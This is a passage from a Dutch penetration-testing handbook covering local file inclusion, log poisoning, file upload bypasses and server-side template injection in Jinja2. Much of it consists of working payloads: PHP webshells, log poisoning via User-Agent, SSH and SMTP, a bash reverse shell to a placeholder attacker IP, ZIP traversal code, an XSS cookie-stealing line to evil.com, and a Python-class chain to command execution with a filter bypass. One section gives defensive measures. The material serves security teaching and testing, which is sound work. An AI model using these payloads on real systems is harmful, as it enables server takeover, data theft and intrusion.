Apache (Debian/Ubuntu) /var/log/apache2/access.log
Apache (RHEL/CentOS) /var/log/httpd/access_log
Nginx /var/log/nginx/access.log
XAMPP (Windows) C:\xampp\apache\logs\access.log
# Probeer het access log te lezen:
curl "http://TARGET/page.php?file=../../../var/log/apache2/access.log"

Als je een stortvloed aan logregels terugkrijgt, ben je binnen. Als niet, probeer andere locaties. De error.log is soms een goed alternatief als de access.log niet bereikbaar is.

Stap 3: PHP-code injecteren via de User-Agent

Dit is het moment waarop je het logbestand vergiftigt. De User-Agent header wordt standaard gelogd in het access log. Dus:

# Injecteer PHP-code via de User-Agent header:
curl -A "<?php system(\$_GET['cmd']); ?>" "http://TARGET/"

Op het moment dat je dit commando uitvoert, schrijft Apache een regel naar het access log die er ongeveer zo uitziet:

10.10.14.5 - - [23/Feb/2026:14:22:01 +0100] "GET / HTTP/1.1" 200 1234 "-" "<?php system($_GET['cmd']); ?>"

Die PHP-code zit nu in het logbestand. Het wacht geduldig tot iemand het includet.

Je kunt ook Netcat gebruiken voor meer controle over de ruwe request:

nc TARGET 80
GET / HTTP/1.1
Host: TARGET
User-Agent: <?php system($_GET['cmd']); ?>

Stap 4: Command execution via log inclusion

Nu combineer je de twee stappen – LFI en de vergiftigde log:

# Code executie:
curl "http://TARGET/page.php?file=../../../var/log/apache2/access.log&cmd=id"
# Output bevat: uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl "http://TARGET/page.php?file=../../../var/log/apache2/access.log&cmd=whoami"
# Output bevat: www-data

En voor de grand finale – een reverse shell:

# Reverse shell via log poisoning:
curl "http://TARGET/page.php?file=../../../var/log/apache2/access.log&cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/ATTACKER_IP/443%200>%261'"

Vergeet niet om speciale tekens URL te encoden: & wordt %26, spaties worden %20. Een vergeten ampersand in een shell commando is het verschil tussen een reverse shell en een cryptisch foutmelding.

IB – Let op de tip onderaan web_lfi_logpoison: als access.log niet werkt, probeer error.log. Sommige configuraties loggen meer details in het error log, inclusief de volledige URL met parameters.

Alternatieve log poisoning vectoren

Access logs zijn niet de enige logs die je kunt vergiftigen. Er zijn verrassend veel alternatieve routes.

Mail log poisoning:

Als de server een mailservice draait, kun je PHP-code injecteren via SMTP:

telnet TARGET 25
MAIL FROM: <attacker@test.com>
RCPT TO: <www-data@TARGET>
DATA
<?php system($_GET['cmd']); ?>
.

De mail wordt opgeslagen in /var/mail/www-data. Include dat bestand:

curl "http://TARGET/page.php?file=../../../var/mail/www-data&cmd=id"

SSH log poisoning:

SSH auth logs bevatten de gebruikersnaam van mislukte login-pogingen. Wat als die “gebruikersnaam” PHP-code is?

# Injecteer PHP via SSH login:
ssh '<?php system($_GET["cmd"]); ?>'@TARGET

De SSH-server weigert de login (natuurlijk), maar logt de poging in /var/log/auth.log, inclusief de “gebruikersnaam”. Include het auth log:

curl "http://TARGET/page.php?file=../../../var/log/auth.log&cmd=id"

Dit werkt alleen als het auth.log leesbaar is voor het webserverproces, wat niet standaard het geval is. Maar standaardconfiguraties en de werkelijkheid lopen zelden synchroon.

/proc/self/environ poisoning:

Het /proc/self/environ pseudo-bestand bevat de omgevingsvariabelen van het huidige proces. De HTTP_USER_AGENT variabele wordt gevuld vanuit de User-Agent header. Dus:

curl -A "<?php system(\$_GET['cmd']); ?>" \
     "http://TARGET/page.php?file=../../../proc/self/environ&cmd=id"

Hier combineer je de injectie en de executie in een enkele request. Elegant en effectief, als een goocheltruc waarbij je het konijn uit de hoed haalt terwijl je tegelijk de hoed in brand steekt.

6.6 File upload bypass: de sluiswachter om de tuin leiden

File uploads zijn een van die features die elke webapplicatie nodig heeft en elke beveiligingstester vreest. Het idee is simpel: de gebruiker uploadt een bestand, de server slaat het op. Maar de duivel zit in de details. Want als een gebruiker een PHP-bestand kan uploaden naar een locatie waar de webserver PHP uitvoert, is het spel voorbij.

De meeste applicaties proberen dit te voorkomen met filtering. Ze controleren de bestandsextensie, het content type, of de inhoud. Maar elke filter heeft zwakke plekken, en aanvallers zijn bijzonder creatief in het vinden daarvan.

IB – De web_upload_bypass command file bevat een systematisch overzicht van alle bypass-technieken, van extensie-varianten tot magic bytes. Gebruik Burp Intruder met deze lijst voor geautomatiseerd testen.

Extension filtering omzeilen

De meest voorkomende bescherming is een blacklist van gevaarlijke extensies. .php is geblokkeerd? Prima. Maar er zijn alternatieven:

# PHP alternatieven:
shell.php3
shell.php4
shell.php5
shell.phtml
shell.phar
shell.phps
shell.pHp          # Case sensitivity op Windows

Veel applicaties blokkeren .php maar vergeten .phtml, dat door Apache standaard als PHP wordt geinterpreteerd. Het is alsof je de voordeur op slot doet maar vergeet dat de achterdeur ook een slot heeft.

ASP alternatieven:

shell.asp
shell.aspx
shell.ashx
shell.asmx

JSP alternatieven:

shell.jsp
shell.jspx
shell.jsw
shell.jsv

Double extensions

Een andere klassieke truc. Sommige applicaties controleren alleen de laatste extensie. Andere controleren of een bepaalde extensie aanwezig is. Beide zijn te misbruiken:

shell.php.jpg       # Laatste extensie is .jpg, applicatie is tevreden
shell.php.png       # Zelfde truc, ander imago
shell.jpg.php       # Eerste extensie is .jpg, maar Apache voert .php uit

De configuratie van de webserver bepaalt welke extensie wint. Apache met mod_php kijkt naar de laatste extensie die het herkent als uitvoerbaar. Dus shell.php.jpg zou als JPEG behandeld worden, maar shell.jpg.php als PHP. Het hangt allemaal af van de configuratie, en configuratie is waar de meeste systeembeheerders hun creatieve vrijheid nemen.

Null byte in bestandsnaam

Op oudere systemen kun je dezelfde null byte truc gebruiken als bij LFI:

shell.php%00.jpg    # Applicatie ziet .jpg, filesystem ziet .php
shell.php\x00.jpg   # Zelfde idee, andere notatie

Content-Type manipulatie

Veel applicaties vertrouwen op de Content-Type header die de browser meestuurt. Die header wordt door de client bepaald, wat betekent dat een aanvaller hem naar believen kan aanpassen:

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

Het bestand heet shell.php en bevat PHP-code, maar de Content-Type zegt image/jpeg. Een applicatie die alleen het content type controleert, denkt dat het een onschuldige foto is.

Het is hetzelfde als een bewaker die je ID controleert maar alleen naar de foto kijkt en niet naar de naam. Zolang je er maar aardig uitziet, mag je naar binnen.

Magic bytes

Een stap verder dan content-type manipulatie. Sommige applicaties controleren de eerste bytes van een bestand om het type te bepalen. Elk bestandsformaat heeft een unieke “magic number” – een herkenbare byte-sequentie aan het begin.

Je kunt die bytes toevoegen aan je payload:

GIF89a<?php system($_GET['cmd']); ?>

De eerste zes bytes (GIF89a) zijn de magic bytes van een GIF-bestand. Een applicatie die alleen de header controleert, ziet een GIF. De PHP-interpreter negeert de GIF-header (het is geen geldige PHP) en voert de rest uit.

Voor PNG:

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']); ?>

Dit is beveiligingstheater op zijn best: een controle die er officieel uitziet, die iedereen een veilig gevoel geeft, maar die precies niets doet tegen iemand die weet hoe het werkt.

ZIP traversal

Een geavanceerdere techniek die werkt wanneer een applicatie geuploadde ZIP-bestanden uitpakt. Je kunt een ZIP-bestand maken met een pad dat buiten de bedoelde map wijst:

import zipfile

z = zipfile.ZipFile('exploit.zip', 'w')
z.writestr('../../../../../var/www/html/shell.phtml',
           '<?php system($_GET["cmd"]); ?>')
z.close()

Als de server het ZIP-bestand uitpakt zonder het pad te sanitizen, wordt je shell geplaatst in de webroot. Van upload naar RCE zonder een enkele extensiefilter te raken.

.htaccess upload

Dit is de meest elegante bypass. In plaats van het filter te omzeilen, herschrijf je de regels:

# Upload een .htaccess bestand met deze inhoud:
AddType application/x-httpd-php .jpg

Nu behandelt Apache elk .jpg bestand in die map als PHP. Upload vervolgens je shell als shell.jpg:

<?php system($_GET['cmd']); ?>

De applicatie ziet een .jpg bestand en is tevreden. Apache ziet een PHP-bestand en voert het uit. Beide systemen doen precies wat hen is verteld, en toch gaat alles mis. Dat is de essentie van beveiligingsproblemen: niet een enkel systeem dat faalt, maar twee systemen die langs elkaar heen communiceren.

Webshells: de minimale payload

Ongeacht welke bypass je gebruikt, je hebt een payload nodig. Hier zijn de meest compacte webshells per taal:

// PHP (klassiek):
<?php system($_GET['cmd']); ?>

// PHP (kort):
<?=`$_GET[0]`?>
<%  eval request("cmd") %>
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

De kortste PHP-webshell is 19 bytes. Negentien. Minder dan een tweet. Dat is alles wat nodig is om volledige controle over een server te krijgen.

6.7 Van LFI naar RCE: de volledige keten

Laten we de puzzelstukjes samenvoegen. LFI op zichzelf is informatielek – je kunt bestanden lezen, maar geen code uitvoeren. Tenminste, dat is wat de theorie zegt. In de praktijk zijn er meerdere routes van “ik kan bestanden lezen” naar “ik kan commando’s uitvoeren”.

Route 1: PHP wrappers

De directe route. Als allow_url_include is ingeschakeld:

# Via data:// wrapper:
curl "http://TARGET/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2B&cmd=id"

# Via php://input:
curl -X POST "http://TARGET/page.php?file=php://input" \
     -d "<?php system('id'); ?>"

# Via expect://:
curl "http://TARGET/page.php?file=expect://id"

Route 2: Log poisoning

De klassieke route, zoals hierboven beschreven:

# Stap 1: Injecteer code in de logs
curl -A "<?php system(\$_GET['cmd']); ?>" "http://TARGET/"

# Stap 2: Include het log
curl "http://TARGET/page.php?file=../../../var/log/apache2/access.log&cmd=id"

Route 3: /proc/self/environ

Combineer injectie en executie in een stap:

curl -A "<?php system(\$_GET['cmd']); ?>" \
     "http://TARGET/page.php?file=../../../proc/self/environ&cmd=id"

Route 4: Session file inclusion

PHP slaat sessiedata op in bestanden, meestal in /tmp/sess_<PHPSESSID>. Als je data in je sessie kunt injecteren (via een formulierveld dat in de sessie wordt opgeslagen), kun je dat sessiebestand includen:

# Stel dat een formulier je naam opslaat in de sessie:
curl -b "PHPSESSID=abc123" \
     "http://TARGET/page.php?name=<?php system(\$_GET['cmd']); ?>"

# Include het sessiebestand:
curl -b "PHPSESSID=abc123" \
     "http://TARGET/page.php?file=../../../tmp/sess_abc123&cmd=id"

Route 5: File upload + LFI

Upload een afbeelding met embedded PHP-code (via magic bytes), vind het pad waar het is opgeslagen, en include het via LFI:

# Upload een "afbeelding" met PHP code:
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif
curl -F "file=@shell.gif" "http://TARGET/upload"

# Include via LFI:
curl "http://TARGET/page.php?file=../../../var/www/uploads/shell.gif&cmd=id"

Elk van deze routes heeft zijn eigen vereisten en beperkingen. Maar het principe is hetzelfde: zoek een manier om PHP-code op de server te krijgen, en gebruik LFI om die code uit te voeren. Het is een puzzel, en elke server is een andere puzzel.

IB – Gebruik de PHP wrappers sectie in zowel web_lfi_traversal als web_lfi_logpoison voor een complete referentie van alle wrappers. Onthoud de tip: PHP wrappers werken alleen als allow_url_include=On. Check dit met php://filter op de php.ini configuratie.

6.8 Verdediging: het archief op slot

Na al die aanvalsroutes is het eerlijk om ook over verdediging te praten. Want hoewel het cynische in ons wil zeggen dat het toch hopeloos is, is path traversal en LFI een van die kwetsbaarheden die met discipline te voorkomen zijn.

Whitelist, niet blacklist

De fundamentele fout die de meeste applicaties maken, is het blokkeren van bekende slechte input (blacklisting) in plaats van het toestaan van bekende goede input (whitelisting).

# FOUT: blacklist
def get_file(filename):
    if '../' in filename:
        return "Nee."
    return open(f'/var/www/files/{filename}').read()

# GOED: whitelist
ALLOWED_FILES = {'report.pdf', 'manual.html', 'logo.png'}

def get_file(filename):
    if filename not in ALLOWED_FILES:
        return "Nee."
    return open(f'/var/www/files/{filename}').read()

De blacklist-aanpak is een eindeloze wapenwedloop. Je blokkeert ../, dus de aanvaller gebruikt ..%2F. Je blokkeert dat, dus hij gebruikt ....//. Je blokkeert dat, dus hij vindt weer iets nieuws. De whitelist-aanpak eindigt het gesprek: als het niet op de lijst staat, bestaat het niet.

Path canonicalisatie

Als een whitelist niet praktisch is (bijvoorbeeld bij een CMS dat willekeurige bestanden moet serveren), gebruik dan path canonicalisatie:

import os

def get_file(filename):
    base_dir = '/var/www/files'
    requested = os.path.realpath(os.path.join(base_dir, filename))

    if not requested.startswith(base_dir):
        return "Nee."

    return open(requested).read()

os.path.realpath() resolved alle .. componenten, symlinks, en encoding- trucs tot een absoluut pad. Als het resulterende pad niet begint met je basemap, is er iemand aan het traverselen.

Chroot / containers

De nucleaire optie: zet de webapplicatie in een chroot jail of container waar het bestandssysteem dat het proces kan zien beperkt is tot wat het nodig heeft. Zelfs als een aanvaller path traversal bereikt, is er niets interessants om te lezen.

# Docker: de applicatie ziet alleen /app
FROM python:3.12-slim
WORKDIR /app
COPY . .
USER nobody

PHP-specifieke maatregelen

; php.ini
allow_url_include = Off     ; Blokkeer remote file inclusion
allow_url_fopen = Off       ; Blokkeer remote file access
open_basedir = /var/www/    ; Beperk bestandstoegang
disable_functions = system,exec,passthru,shell_exec,popen,proc_open

open_basedir is PHP’s ingebouwde chroot. Het beperkt welke mappen PHP-scripts kunnen benaderen. Het is niet waterdicht (er zijn historische bypasses), maar het is een laag die je altijd moet toevoegen.

Upload-specifieke maatregelen

# Valideer extensie EN content-type EN magic bytes:
import magic

ALLOWED_TYPES = {'image/jpeg', 'image/png', 'image/gif'}
ALLOWED_EXTENSIONS = {'.jpg', '.jpeg', '.png', '.gif'}

def validate_upload(file):
    ext = os.path.splitext(file.filename)[1].lower()
    if ext not in ALLOWED_EXTENSIONS:
        return False

    # Check magic bytes met python-magic:
    mime = magic.from_buffer(file.read(2048), mime=True)
    file.seek(0)
    if mime not in ALLOWED_TYPES:
        return False

    return True

En, cruciaal: sla uploads op buiten de webroot, of op een apart domein zonder server-side scripting. Als de webserver geen PHP (of ASP, of JSP) uitvoert in de upload-map, maakt het niet uit wat er geupload wordt.

# Nginx: geen PHP executie in de uploads map
location /uploads/ {
    location ~ \.php$ {
        deny all;
    }
}

Rename na upload

Geef geuploadde bestanden een random naam zonder de originele extensie:

import uuid

def save_upload(file):
    safe_name = str(uuid.uuid4())  # Geen extensie, geen problemen
    path = os.path.join(UPLOAD_DIR, safe_name)
    file.save(path)
    return safe_name

Een bestand zonder extensie wordt door geen enkele webserver als uitvoerbaar beschouwd. Het is de digitale equivalent van het verwijderen van de trekker uit een pistool: het ziet er nog steeds gevaarlijk uit, maar het doet niets.

6.9 De realiteit

En hier is het moment waarop het cynische stemmetje weer mag meepraten.

Want het probleem met path traversal en LFI is niet dat we niet weten hoe we het moeten voorkomen. We weten het al sinds de jaren negentig. realpath() bestaat al langer dan de meeste webontwikkelaars leven. Whitelisting is geen geavanceerd concept. En toch, in 2026, zitten we hier nog steeds te praten over ../../../etc/passwd alsof het een nieuwe aanval is.

De waarheid is dat path traversal niet voortkomt uit onwetendheid. Het komt voort uit luiheid, haast, en de eeuwige overtuiging dat “het ons niet zal overkomen”. Het komt voort uit ontwikkelaars die een feature in een middag bouwen en de beveiliging “later” toevoegen – een “later” dat nooit komt omdat er altijd een nieuwe feature is die “later” ook nodig heeft.

We slaan gevoelige bestanden op in leesbare mappen. We geven de webserver toegang tot het hele bestandssysteem. We vertrouwen op extensiefilters die een kind van twaalf kan omzeilen. En als het misgaat, wijzen we naar de aanvaller alsof hij iets oneerlijks heeft gedaan.

De aanvaller heeft niets oneerlijks gedaan. Hij heeft ../ getypt. Dat is het. Drie karakters. Twee puntjes en een schuine streep. Als je systeem niet bestand is tegen twee puntjes en een schuine streep, dan is het probleem niet de aanvaller. Dan is het probleem dat je een systeem hebt gebouwd met het veerkracht-niveau van een kaartenhuis in een orkaan.

Maar goed, het houdt ons van de straat.

6.10 Referentietabel

Techniek Payload / Commando Doel
Basis traversal (Linux) ../../../../../../../etc/passwd Gebruikerslijst lezen
Basis traversal (Windows) ..\..\..\..\windows\win.ini Windows configuratie lezen
URL-encoded traversal ..%2F..%2F..%2Fetc%2Fpasswd Filter bypass via encoding
Dubbel URL-encoded ..%252F..%252F..%252Fetc%252Fpasswd Dubbele decodering bypass
Dot-stripping bypass ....//....//....//etc/passwd Filter verwijdert ../ maar niet ....//
Semicolon bypass ..;/..;/..;/etc/passwd Tomcat path parameter separator
Null byte (PHP < 5.3.4) ../../../etc/passwd%00.jpg Extensie-toevoeging omzeilen
PHP filter wrapper php://filter/convert.base64-encode/resource=config.php Broncode lezen als Base64
PHP data wrapper data://text/plain;base64,PD9waH... Code execution via URL
PHP expect wrapper expect://id Directe command execution
Log poisoning (injectie) curl -A "<?php system(\$_GET['cmd']); ?>" http://TARGET/ PHP in access log schrijven
Log poisoning (executie) curl "http://TARGET/page.php?file=../../../var/log/apache2/access.log&cmd=id" Vergiftigd log includen
SSH log poisoning ssh '<?php system($_GET["cmd"]); ?>'@TARGET PHP via SSH auth log
/proc/self/environ curl -A "<?php system(\$_GET['cmd']); ?>" "http://T/page.php?file=../../../proc/self/environ&cmd=id" Injectie + executie in een stap
Extension bypass (PHP) shell.phtml, shell.phar, shell.php5 Blacklist omzeilen
Double extension shell.php.jpg, shell.jpg.php Extensiecontrole verwarren
Content-Type bypass Content-Type: image/jpeg bij PHP upload Content-type validatie omzeilen
Magic bytes GIF89a<?php system($_GET['cmd']); ?> Bestandstype detectie omzeilen
.htaccess upload AddType application/x-httpd-php .jpg Apache configuratie overschrijven
ZIP traversal z.writestr('../../../var/www/html/shell.phtml', payload) Path traversal via archief

6.11 Checklist voor testers

  1. Identificeer file inclusion parameters: Zoek naar URL-parameters die naar bestanden verwijzen (?file=, ?page=, ?include=, ?path=, ?template=, ?doc=, ?lang=).

  2. Test basis traversal: Begin met ../../../etc/passwd (Linux) of ..\..\..\..\windows\win.ini (Windows).

  3. Probeer encoding-varianten: URL-encoding, dubbele encoding, dot-stripping bypass, semicolon bypass.

  4. Lees gevoelige bestanden: .env, configuratiebestanden, SSH keys, wachtwoord-databases.

  5. Test PHP wrappers: php://filter voor broncode, data:// en php://input voor RCE.

  6. Probeer log poisoning: Injecteer code via User-Agent, SSH, of SMTP. Include het logbestand.

  7. Test file upload bypasses: Extensie-varianten, double extensions, null bytes, Content-Type manipulatie, magic bytes.

  8. Documenteer de keten: Van initieel lek tot code execution, stap voor stap.

IB – Gebruik de fuzzing tip uit web_lfi_traversal: combineer wfuzz met de SecLists LFI-Jhaddix.txt wordlist voor uitgebreide path traversal fuzzing. Dit is sneller en grondiger dan handmatig testen.

Twee puntjes en een schuine streep. Drie karakters die al dertig jaar lang het verschil maken tussen “veilig” en “volledig gecompromitteerd”. Het is bijna poëtisch in zijn eenvoud. Bijna.

Server-Side TemplateInjection (SSTI)

Server-Side Template Injection (SSTI)

In 1440 veranderde Johannes Gutenberg de wereld met een idee dat zo simpel was dat het achteraf verbijsterend is dat niemand er eerder op was gekomen. Hij maakte losse metalen letters – types – die je in een raamwerk kon plaatsen, kon ininkten, en op papier kon drukken. Je kon de letters hergebruiken, de tekst veranderen, en duizenden kopieën maken van hetzelfde document. De drukpers was geboren, en daarmee het einde van het monopolie van de Kerk op informatie, de opkomst van de wetenschap, en uiteindelijk een wereld waarin iedereen kan lezen en schrijven.

Gutenberg zou het web onmiddellijk begrijpen.

Want wat doen template engines anders dan wat zijn drukpers deed? Ze nemen een sjabloon – een mal, een raamwerk – en vullen het met variabele data. In Gutenbergs tijd waren dat letters en woorden. In onze tijd zijn het gebruikersnamen, productprijzen, en zoekresultaten. Het principe is identiek: scheiding van structuur en inhoud.

Beste {{ naam }},
Uw bestelling van {{ product }} is verzonden.

Dit is een template. De dubbele accolades markeren plekken waar variabele data wordt ingevuld. De template engine – Jinja2, Twig, Freemarker, Pug, of een van de tientallen andere – neemt dit sjabloon, vervangt de variabelen door echte waarden, en genereert de uiteindelijke HTML.

Het is elegant. Het is efficiënt. En het gaat spectaculair mis wanneer een aanvaller de inhoud van de drukplaten kan bepalen.

Want dat is wat Server-Side Template Injection is. Niet het invullen van variabelen in een sjabloon, maar het aanpassen van het sjabloon zelf. Alsof iemand in Gutenbergs werkplaats binnensloop en de loden letters verving door zijn eigen tekst. Behalve dat deze tekst geen woorden bevat, maar instructies. Instructies die de drukpers vertellen om niet te drukken, maar om commando’s uit te voeren op de server.

7.1 Wat is SSTI? (En wat is het niet?)

Laten we het onderscheid helder maken, want het wordt vaak verward met zijn client-side neef.

Cross-Site Scripting (XSS) is code-injectie in de browser. De schadelijke code wordt uitgevoerd op de computer van de bezoeker. Het is vervelend, het is gevaarlijk, maar het is beperkt tot wat een browser kan doen.

Server-Side Template Injection (SSTI) is code-injectie op de server. De schadelijke code wordt uitgevoerd op de server zelf, met alle rechten van het webapplicatieproces. Het is het verschil tussen iemand die je brievenbus openmaakt en iemand die je huis binnenwandelt.

Bij XSS injecteert de aanvaller JavaScript dat in de browser draait:

<script>document.location='http://evil.com/?c='+document.cookie</script>

Bij SSTI injecteert de aanvaller template-syntax die op de server wordt geëvalueerd:

{{config.SECRET_KEY}}

Het eerste steelt cookies. Het tweede steelt alles.

Hoe ontstaat SSTI?

SSTI ontstaat wanneer gebruikersinput direct in een template wordt verwerkt in plaats van als data aan een template te worden doorgegeven. Het verschil is cruciaal.

Veilig – de gebruikersinput wordt als variabele doorgegeven:

# Python/Flask - VEILIG
@app.route('/hello')
def hello():
    name = request.args.get('name', 'wereld')
    return render_template_string('Hallo {{ name }}!', name=name)

Hier is name een variabele die door de template engine wordt geëscaped en ingevuld. Zelfs als name de waarde {{7*7}} heeft, wordt het letterlijk weergegeven als tekst.

Onveilig – de gebruikersinput wordt onderdeel van het template zelf:

# Python/Flask - ONVEILIG
@app.route('/hello')
def hello():
    name = request.args.get('name', 'wereld')
    template = f'Hallo {name}!'
    return render_template_string(template)

Hier wordt de gebruikersinput eerst in de template-string geplakt via de f-string, en daarna wordt het geheel als template geëvalueerd. Als name de waarde {{7*7}} heeft, staat er Hallo {{7*7}}! in het template, en de engine berekent 7*7 = 49. Het resultaat is Hallo 49!.

Het verschil is een enkele regel code. Eén regel. Het verschil tussen een veilige applicatie en een die volledige command execution toestaat via een URL-parameter. Als dat je niet een ongemakkelijk gevoel geeft, zou het dat wel moeten doen.

De template engine als tolk

Een template engine is in essentie een tolk. Je geeft hem een zin in template-taal, en hij vertaalt die naar HTML. Maar deze tolk is niet dom. De meeste template engines ondersteunen expressies, loops, conditionals, en toegang tot objecten en hun methoden.

In Jinja2 kun je dit doen:

{{ range(10)|list }}
{{ request.environ }}
{{ config.items()|list }}

In Twig:

{{ dump(app) }}
{{ '/etc/passwd'|file_excerpt(1,30) }}

In Freemarker:

${.version}
${.data_model}

Elke template engine is een programmeertaal. Sommige zijn beperkt, andere zijn dat niet. En het zijn de onbeperkte die voor de interessantste pentestresultaten zorgen.

7.2 Detectie: welke engine draait er?

Voordat je een SSTI kunt exploiteren, moet je twee dingen weten:

  1. Is SSTI mogelijk? (Wordt mijn input als template geëvalueerd?)
  2. Welke template engine draait er?

Beide vragen kun je beantwoorden met een systematische reeks testpayloads.

IB – De web_ssti_detect command file bevat een complete detectie- workflow, van initiële test tot engine-identificatie. Gebruik deze als checklist bij elke SSTI-test.

Stap 1: Is template injection mogelijk?

Begin met de eenvoudigste payloads. Het doel is om een wiskundige berekening te laten uitvoeren door de server:

{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}

Elke payload gebruikt de syntax van een andere template engine. Als een van deze 49 retourneert in de response, weet je twee dingen: SSTI is mogelijk, en je hebt een hint over welke engine het is.

Payload Engine(s)
{{7*7}} = 49 Jinja2, Twig, Handlebars, Angular
${7*7} = 49 Freemarker, Smarty, Thymeleaf, Velocity
<%= 7*7 %> = 49 ERB (Ruby), EJS (Node.js)
#{7*7} = 49 Pug/Jade (Node.js), Ruby
*{7*7} = 49 Thymeleaf (Spring)

Stap 2: Welke engine precies?

Meerdere engines gebruiken dezelfde syntax. Om ze te onderscheiden, gebruik je type coercion – het vermenigvuldigen van een getal met een string:

{{7*'7'}}

In Python (Jinja2) vermenigvuldigt 7*'7' de string '7' zeven keer, wat resulteert in '7777777'. In PHP (Twig) is string-vermenigvuldiging geen ding, dus het resultaat is gewoon 49 (PHP cast de string naar een integer).

Dit ene verschil onderscheidt twee engines die dezelfde syntax gebruiken. Het is een vingerafdruk op basis van taalgedrag.

De beslisboom

De IB command file bevat de complete beslisboom, maar hier is de samenvatting:

                    {{7*7}} = 49?
                    /           \
                  ja             nee
                  |               |
           {{7*'7'}} = ?     ${7*7} = 49?
           /         \        /         \
     '7777777'       49     ja          nee
         |            |      |           |
      Jinja2        Twig  ${"test"}?  #{7*7} = 49?
      (Python)      (PHP)  /    \      /         \
                         ja     nee   ja          nee
                          |      |     |           |
                     Freemarker  ?   Pug/Jade    <%= 7*7 %>?
                      (Java)        (Node.js)    /       \
                                               ja        nee
                                                |         |
                                              ERB        ...
                                              (Ruby)

Dit is een gestructureerde aanpak. Geen gokwerk, geen trial-and-error, maar een logische eliminatie die je in vijf requests naar de juiste engine leidt.

IB – De tip onderaan web_ssti_detect is cruciaal: foutmeldingen onthullen vaak de engine naam en versie. Een TemplateSyntaxError met “Jinja2” erin is een cadeautje. Forceer fouten met ongeldige syntax als {{ zonder sluiting.

Waar test je?

SSTI kan opduiken op onverwachte plekken. De voor de hand liggende kandidaten zijn zoekbalken, formuliervelden, en URL-parameters. Maar denk ook aan:

De laatste is bijzonder ironisch. Een admin-paneel dat je templates laat bewerken is per definitie een SSTI-interface. Het enige verschil is dat het “feature” heet in plaats van “kwetsbaarheid”. Het onderscheid hangt af van wie er achter het toetsenbord zit.

7.3 Jinja2: Python’s template engine ontleed

Jinja2 is de default template engine van Flask, een van de populairste Python webframeworks. Het wordt ook gebruikt door Ansible, SaltStack, en Django (als alternatief voor Django’s eigen engine). Als je een Python-webapplicatie test, is de kans groot dat je met Jinja2 te maken hebt.

Detectie:

{{7*7}}   -> 49
{{7*'7'}} -> '7777777'  (Python string multiplication)

Die string-vermenigvuldiging is het bewijs dat je met Python te maken hebt. Geen andere gangbare taal doet dit.

IB – De web_ssti_jinja command file bevat het complete Jinja2 exploit-arsenaal, van info disclosure tot meerdere RCE-methoden. De command file is gestructureerd van eenvoudig naar geavanceerd.

Info disclosure: de voordeur

Voordat je naar RCE grijpt, is het slim om te kijken wat er direct beschikbaar is. In Flask-applicaties zijn er enkele goudmijnen:

# Flask configuratie lezen (bevat SECRET_KEY, database URIs, etc.):
{{config|pprint}}

# Omgevingsvariabelen van het request:
{{request.environ}}

# Alle attributen van het huidige object:
{{self.__dict__}}

{{config|pprint}} is vaak de eerste payload die je probeert na detectie. Het retourneert de complete Flask-configuratie, inclusief de SECRET_KEY (waarmee je sessies kunt forgen), database URIs (met credentials), en alle andere configuratiewaarden die de ontwikkelaar liever verborgen had gehouden.

# Typische output van {{config|pprint}}:
{'DEBUG': True,
 'SECRET_KEY': 'super-geheim-wachtwoord-123',
 'SQLALCHEMY_DATABASE_URI': 'mysql://root:password@localhost/app',
 'MAIL_PASSWORD': 'smtp-password-hier',
 ...}

Dit is geen RCE, maar het is vaak net zo waardevol. Met de SECRET_KEY kun je sessie-cookies forgen en jezelf admin maken. Met de database-URI kun je rechtstreeks verbinden met de database. Soms hoef je helemaal geen code uit te voeren – je hoeft alleen maar te lezen wat er al staat.

RCE via de MRO-keten

Nu wordt het technisch. En fascinerend.

Python is een objectgeoriënteerde taal waarin alles een object is. Letterlijk alles. Een string is een object. Een integer is een object. None is een object. En elk object heeft een klasse, en elke klasse heeft een hiërarchie van ouderklassen, tot aan de oer-klasse object.

Die hiërarchie kun je navigeren:

# Stap 1: Pak de klasse van een lege string
''.__class__
# <class 'str'>

# Stap 2: Bekijk de Method Resolution Order (MRO)
''.__class__.__mro__
# (<class 'str'>, <class 'object'>)

# Stap 3: Pak de basis-klasse 'object'
''.__class__.__mro__[1]
# <class 'object'>

# Stap 4: Bekijk ALLE subklassen van 'object'
''.__class__.__mro__[1].__subclasses__()
# [<class 'type'>, <class 'async_generator'>, ..., <class 'subprocess.Popen'>, ...]

Die laatste stap is de sleutel. __subclasses__() retourneert een lijst van alle klassen die erven van object. En in een typische Python-runtime zijn dat er honderden. Inclusief subprocess.Popen – de klasse waarmee je systeemcommando’s kunt uitvoeren.

In Jinja2 template-syntax:

# Stap 1: Lijst alle subklassen
{{''.__class__.__mro__[1].__subclasses__()}}

Dit geeft een enorme lijst. Zoek in de output naar subprocess.Popen. Noteer de index (positie in de lijst). Stel dat het index 421 is:

# Stap 2: Voer een commando uit via Popen
{{''.__class__.__mro__[1].__subclasses__()[421]('id',shell=True,stdout=-1).communicate()}}

Het resultaat:

(b'uid=33(www-data) gid=33(www-data) groups=33(www-data)\n', None)

Van een lege string naar command execution. Via de klasse-hiërarchie van Python. Het is briljant en beangstigend tegelijk. Het is alsof je via de stamboom van een willekeurige persoon ontdekt dat hij een verre neef is van een bankdirecteur, en vervolgens die verwantschap gebruikt om de kluis te openen.

IB – Belangrijk: de index van subprocess.Popen verschilt per Python-versie en per applicatie (afhankelijk van welke modules geladen zijn). Enumerate altijd eerst met de __subclasses__() payload en zoek de juiste index.

RCE bypass: het __ filter omzeilen

Sommige applicaties filteren dubbele underscores (__) om SSTI te voorkomen. Slim, maar niet slim genoeg. Jinja2’s attr() filter biedt een alternatieve route:

{% set cls = "__class__" %}
{% set mro = "__mro__" %}
{% set sub = "__subclasses__" %}
{% set r = ""|attr(cls)|attr(mro) %}
{% set s = r[1]|attr(sub)() %}
{{s[421]("id",shell=True,stdout=-1).communicate()}}

